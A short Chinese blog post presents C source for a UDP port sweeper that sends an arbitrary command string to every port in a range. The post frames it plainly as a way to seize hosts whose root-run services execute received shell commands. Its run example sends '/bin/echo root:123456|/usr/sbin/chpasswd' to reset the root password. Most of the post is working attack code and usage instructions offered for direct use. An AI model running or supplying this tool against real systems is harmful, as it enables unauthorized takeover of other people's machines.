共计 3218 个字符,预计需要花费 9 分钟才能阅读完成。
遍历指定端口进行扫描,并发送指定 UDP 报文,有些系统中,如果做了某个服务用于接收 shell 命令并执行,并且没有任何数据协议加密,同时 是以 root 用户 运行的,那么你发送一个修改 root 密码的命令过去,这台主机就是你的了。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>
int send_udp_to_host(int sock,char *ip,unsigned int port,char *content)
{
int ret;
fd_set readfd;
struct timeval timeout;
struct sockaddr_in toAddr;
// 在 recvfrom 中使用的对方主机地址
struct sockaddr_in fromAddr;
unsigned int fromLen;
char recvBuffer[1024];
memset(&toAddr,0,sizeof(toAddr));
toAddr.sin_family=AF_INET;
toAddr.sin_addr.s_addr=inet_addr(ip);
toAddr.sin_port = htons(port);
if(sendto(sock,content,strlen(content),0,(struct sockaddr*)&toAddr,sizeof(toAddr)) != strlen(content))
{ printf("sendto() 函数使用失败了.\n");
return (-1);
}
timeout.tv_sec=0;
timeout.tv_usec=5000;
FD_ZERO(&readfd);
FD_SET(sock,&readfd);
ret=select(sock+1,&readfd,NULL,NULL,&timeout);
if(ret)
{ if(FD_ISSET(sock,&readfd))
{ fromLen = sizeof(fromAddr);
if(recvfrom(sock,recvBuffer,1024,0,(struct sockaddr*)&fromAddr,&fromLen)<0)
{ printf("recvfrom()函数使用失败了.\r\n");
return (-1);
}
printf("IP:[%s] PORT:[%d] result:[%s]\n",ip,port,recvBuffer);
}
}
return 0;
}
int main(int argc, char *argv[])
{ if(argc != 5)
{ printf("%s [ip] [begin port] [end port] [content]\n",argv[0]);
exit(0);
}
int sock;
unsigned int index = 0;
unsigned int begin_port =atoi(argv[2]);
unsigned int end_port = atoi(argv[3]);
//sendto 中使用的对方地址
if(begin_port<1 || end_port > 65536 || end_port < begin_port)
{ printf(" 端口范围错误!\n");
return -1;
}
sock = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
if(sock < 0)
{ printf(" 创建套接字失败了.\r\n");
return (-1);
}
for(index=begin_port; index<=end_port; index++)
{ //printf(" 开始扫描端口 %d\n",index);
send_udp_to_host(sock,argv[1],index,argv[4]);
/*
//printf(" 开始扫描端口 %d\n",index);
pid_t pid;
pid = fork();
if(pid<0)
{ perror("fork error!\n");
return -1;
}
else if(pid == 0)
{ send_udp_to_host(sock,argv[1],index,argv[4]);
}
else
{ exit(1);//parent
}
*/
}
printf(" 发送完成!\n");
close(sock);
return 0;
}
代码写的比较随意,如果不考虑收包的情况,可以把接收部分的代码去掉。
编译:gcc udp_scan.c -o udp_scan
运行:./udp_scan 192.168.0.1 30000 36533 "/bin/echo root:123456|/usr/sbin/chpasswd"
其中 192.168.0.1 为对方主机 IP,30000 为起始扫描端口,36533 为结束扫描端口,后面引号中为修改 root 密码的命令。
正文完
扫码赞助
